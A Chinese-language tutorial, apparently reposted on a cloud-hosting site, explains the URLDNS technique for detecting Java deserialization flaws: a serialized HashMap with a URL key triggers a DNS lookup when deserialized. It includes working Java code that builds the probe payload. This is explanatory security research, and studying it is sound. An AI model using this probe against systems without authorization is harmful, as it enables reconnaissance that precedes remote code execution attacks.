您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
通過(guò) HashMap 觸發(fā) DNS 檢測(cè) Java 反序列化漏洞
我們常說(shuō)的反序列化漏洞一般是指 readObject() 方法處觸發(fā)的漏洞,而除此以外針對(duì)不同的序列化格式又會(huì)產(chǎn)生不同的出發(fā)點(diǎn),比如說(shuō) fastjson 會(huì)自動(dòng)運(yùn)行 setter,getter 方法。之后又有各種 RMI,JNDI 姿勢(shì)去執(zhí)行命令?,F(xiàn)在常見(jiàn)的黑盒檢測(cè) Java 反序列化方式就是執(zhí)行命令 API,比如用一個(gè) gadget 去執(zhí)行 nslookup xxx 最終通過(guò)服務(wù)器記錄去判斷。
但這種方式可能出現(xiàn)的一種問(wèn)題是,你選擇測(cè)試的 gadget 服務(wù)器正好沒(méi)這個(gè) jar 包或者更新過(guò)了,但卻有另一個(gè)存在漏洞的 jar 包。這時(shí)候單一的 gadget構(gòu)造出的執(zhí)行命令 payload 就會(huì)漏報(bào)。所以為了解決這種問(wèn)題這里分享一個(gè)通過(guò) HashMap 結(jié)合 URL 觸發(fā) DNS 檢查的思路。在實(shí)際過(guò)程中可以首先通過(guò)這個(gè)去判斷服務(wù)器是否使用了 readObject() 以及能否執(zhí)行。之后再用各種 gadget 去嘗試試 RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap 最早出現(xiàn)在 JDK 1.2 中,底層基于散列算法實(shí)現(xiàn)。而正是因?yàn)樵?HashMap 中,Entry 的存放位置是根據(jù) Key 的 Hash 值來(lái)計(jì)算,然后存放到數(shù)組中的。所以對(duì)于同一個(gè) Key,在不同的 JVM 實(shí)現(xiàn)中計(jì)算得出的 Hash 值可能是不同的。因此,HashMap 實(shí)現(xiàn)了自己的 writeObject 和 readObject 方法。
因?yàn)槭茄芯糠葱蛄谢瘑?wèn)題,所以我們來(lái)看一下它的 readObject 方法。
前面主要是使用的一些防止數(shù)據(jù)不一致的方法,我們可以忽視。主要看 putVal 時(shí)候 key 進(jìn)入了 hash 方法,跟進(jìn)看。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這里直接調(diào)用了 key 的 hashCode 方法。那么我們現(xiàn)在就需要一個(gè)類 hashCode 可以執(zhí)行某些東西即可。
很幸運(yùn)的我們發(fā)現(xiàn)了 URL 類,它有一個(gè)有趣的特點(diǎn),就是當(dāng)執(zhí)行 hashCode 方法時(shí)會(huì)觸發(fā)當(dāng)前 URLStreamHandler 的 hashCode 方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
我們可以繼續(xù)跟進(jìn)。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
主要就是這句代碼了。
InetAddress addr = getHostAddress(u);
很簡(jiǎn)單,就是這里最后觸發(fā)了 DNS 查詢。
也就是說(shuō)我們現(xiàn)在思路是通過(guò) hashmap 放入一個(gè) URL 的 key 然后會(huì)觸發(fā) DNS 查詢。這里需要注意一個(gè)點(diǎn),就是在 URLStreamHandler 的 hashCode 方法中首先進(jìn)行了一個(gè)緩存判斷即如果不等于 -1 會(huì)直接 return。
if (hashCode != -1)
return hashCode;
因?yàn)樵谏?hashMap put 時(shí)候會(huì)調(diào)用到 hashCode 方法,所以會(huì)緩存下來(lái),即 hashcode 不為 -1。所以為了讓被接收者觸發(fā) DNS 查詢,我們需要先通過(guò)反射把 hashcode 值改為 -1,繞過(guò)緩存判斷。
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
最后生成的代碼為:
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
測(cè)試代碼:
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
調(diào)用棧:
最終你會(huì)發(fā)現(xiàn)成功的觸發(fā) DNS 查詢。
“怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。